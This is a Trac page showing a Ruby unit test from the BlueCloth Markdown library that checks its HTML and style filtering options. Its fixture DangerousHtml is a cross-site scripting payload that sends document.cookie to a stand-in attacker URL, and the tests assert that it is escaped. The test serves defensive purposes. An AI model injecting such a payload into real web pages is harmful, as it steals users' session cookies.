root/trunk/vendor/bluecloth/tests/15_Contrib.tests.rb

Revision 420, 3.4 kB (checked in by tobi, 3 years ago)

redcloth, bluecloth and rubypants are now bundeled with typo

Line 
1 #!/usr/bin/ruby
2 #
3 # Unit test for contributed features
4 # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
5 #
6 # Copyright (c) 2004 The FaerieMUD Consortium.
7 #
8
9 if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
10         basedir = File::dirname( __FILE__ )
11         require File::join( basedir, 'bctestcase' )
12 end
13
14
15
16 ### This test case tests ...
17 class ContribTestCase < BlueCloth::TestCase
18
19         DangerousHtml =
20                 "<script>document.location='http://www.hacktehplanet.com" +
21                 "/cgi-bin/cookie.cgi?' + document.cookie</script>"
22         DangerousHtmlOutput =
23                 "<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
24                 "/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
25         DangerousStylesOutput =
26                 "<script>document.location='http://www.hacktehplanet.com" +
27                 "/cgi-bin/cookie.cgi?' + document.cookie</script>"
28         NoLessThanHtml = "Foo is definitely > than bar"
29         NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
30
31
32         ### HTML filter options contributed by Florian Gross.
33
34         ### Test the :filter_html restriction
35         def test_10_filter_html
36                 printTestHeader "filter_html Option"
37                 rval = bc = nil
38
39                 # Test as a 1st-level param
40                 assert_nothing_raised {
41                         bc = BlueCloth::new( DangerousHtml, :filter_html )
42                 }
43                 assert_instance_of BlueCloth, bc
44
45                 # Accessors
46                 assert_nothing_raised { rval = bc.filter_html }
47                 assert_equal true, rval
48                 assert_nothing_raised { rval = bc.filter_styles }
49                 assert_equal nil, rval
50
51                 # Test rendering with filters on
52                 assert_nothing_raised { rval = bc.to_html }
53                 assert_equal DangerousHtmlOutput, rval
54
55                 # Test setting it in a sub-array
56                 assert_nothing_raised {
57                         bc = BlueCloth::new( DangerousHtml, [:filter_html] )
58                 }
59                 assert_instance_of BlueCloth, bc
60                
61                 # Accessors
62                 assert_nothing_raised { rval = bc.filter_html }
63                 assert_equal true, rval
64                 assert_nothing_raised { rval = bc.filter_styles }
65                 assert_equal nil, rval
66
67                 # Test rendering with filters on
68                 assert_nothing_raised { rval = bc.to_html }
69                 assert_equal DangerousHtmlOutput, rval
70         end
71
72
73         ### Test the :filter_styles restriction
74         def test_20_filter_styles
75                 printTestHeader "filter_styles Option"
76                 rval = bc = nil
77
78                 # Test as a 1st-level param
79                 assert_nothing_raised {
80                         bc = BlueCloth::new( DangerousHtml, :filter_styles )
81                 }
82                 assert_instance_of BlueCloth, bc
83                
84                 # Accessors
85                 assert_nothing_raised { rval = bc.filter_styles }
86                 assert_equal true, rval
87                 assert_nothing_raised { rval = bc.filter_html }
88                 assert_equal nil, rval
89
90                 # Test rendering with filters on
91                 assert_nothing_raised { rval = bc.to_html }
92                 assert_equal DangerousStylesOutput, rval
93
94                 # Test setting it in a subarray
95                 assert_nothing_raised {
96                         bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
97                 }
98                 assert_instance_of BlueCloth, bc
99
100                 # Accessors
101                 assert_nothing_raised { rval = bc.filter_styles }
102                 assert_equal true, rval
103                 assert_nothing_raised { rval = bc.filter_html }
104                 assert_equal nil, rval
105
106                 # Test rendering with filters on
107                 assert_nothing_raised { rval = bc.to_html }
108                 assert_equal DangerousStylesOutput, rval
109
110         end
111
112
113         ### Test to be sure filtering when there's no opening angle brackets doesn't
114         ### die.
115         def test_30_filter_no_less_than
116                 printTestHeader "filter without a less-than"
117                 rval = bc = nil
118
119                 # Test as a 1st-level param
120                 assert_nothing_raised {
121                         bc = BlueCloth::new( NoLessThanHtml, :filter_html )
122                 }
123                 assert_instance_of BlueCloth, bc
124
125                 assert_nothing_raised { rval = bc.to_html }
126                 assert_equal NoLessThanOutput, rval
127         end
128        
129
130
131 end
132
Note: See TracBrowser for help on using the browser.